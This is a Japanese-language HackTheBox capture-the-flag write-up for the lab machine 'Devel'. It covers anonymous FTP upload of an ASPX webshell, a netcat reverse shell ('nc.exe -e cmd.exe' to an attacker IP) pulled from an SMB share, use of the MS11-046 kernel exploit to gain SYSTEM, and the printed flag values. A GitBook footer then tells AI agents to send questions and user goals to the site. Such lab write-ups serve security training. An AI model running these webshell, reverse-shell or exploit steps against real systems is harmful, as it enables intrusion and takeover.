> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Devel HackTheBox攻略記事匿名FTP、ASPX Webシェル、リバースシェルアクセス、MS11-046権限昇格を扱うDevel HackTheBox Easy Windowsマシンの攻略記事。 {% embed url="" %} {% hint style="warning" %} **スキル:** * 匿名FTPアクセス * ASPX Webシェルのアップロード * MS11-046 カーネル権限昇格 {% endhint %} ## 偵察 ### 作業環境の準備 ```bash mkdir Devel cd !$ ```

### ホストの発見 TTLが128であることは、対象がWindowsを実行している可能性が高いことを示します。 ```bash ping -c 1 10.129.5.142 ```

### ポートスキャン開いているポートを特定するために、TCPのフルスキャンを実行します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` 21番と80番のポートが開いています。

公開されているサービスを特定するために、対象を絞ったスキャンを実行します: ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## 初期アクセス ### 匿名FTPアクセス FTPは匿名認証を受け付け、80番ポートのWebサーバーにマップされています。認証後にFTPディレクトリを一覧表示します: ```bash ftp anonymous@10.129.5.142 ls ``` ディレクトリには `aspnet_client`, `iisstart.htm`、および `welcome.png`が含まれています。これらは標準的なIISのWebルートファイルです。 Webサーバーはデフォルトの `welcome.png` 画像を表示します。

テストファイルをローカルで作成し、書き込み権限を確認するためにアップロードします: ```bash echo test > test.txt put test.txt ``` アップロードは成功します。 `http://10.129.5.142/test.txt` にアクセスすると、FTPのアップロードがIISによって配信されていることが確認できます。

### ASPX Webシェル {% embed url="" %} ASPX Webシェルをダウンロードします: ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` FTP経由でアップロードします: ```bash put aspx_cmd.aspx ```

開く `http://10.129.5.142/aspx_cmd.aspx` を実行してコマンドを実行します。 Webシェルはリモートコマンド実行を提供します: ```bash whoami iis apppool\web ```

### リバースシェルコピー `nc.exe` を現在のディレクトリに置きます。このバイナリは対話型のWindowsシェルを作成します: ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` 実行ファイルを共有するためにSMBサーバーを起動します: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

4444番ポートでリスナーを起動します: ```bash sudo rlwrap nc -nvlp 4444 ``` これらのコマンドをWebシェル経由で実行します。最初のコマンドはSMB共有からNetcatをコピーします。2つ目はリスナーに接続し返します: ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

シェルは `iis apppool\web`として実行されます。このアカウントには限定的な権限しかありません。 ## 権限昇格 ### システム情報 ```bash systeminfo ``` これにより、Windowsのバージョンとシステムの詳細が明らかになります。

対象はWindows 7 Enterpriseを実行しています。 ### MS11-046 `systeminfo` はWindows 7 Enterprise、ビルドを特定します `7600`。この未修正のバージョンは、既知のローカルカーネルエクスプロイトの候補です。 MS11-046はローカル権限昇格の脆弱性です。ホスト上で既にコード実行が必要です。SMBをリモートで悪用するものではありません。 MS11-046 カーネルエクスプロイトを使用します: {% embed url="" %} エクスプロイトのリポジトリをクローンします: ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` エクスプロイトのディレクトリへ移動します: ```bash cd windows-kernel-exploits/MS11-046 ``` SMB経由で実行ファイルを対象に共有します: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Windowsシェルから実行ファイルを書き込み可能なディレクトリにコピーします: ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

現在のユーザーを確認してから、エクスプロイトを実行します: ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` エクスプロイトは `NT AUTHORITY\SYSTEM` シェルを返します: ```bash whoami nt authority\system ```

## フラグ ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.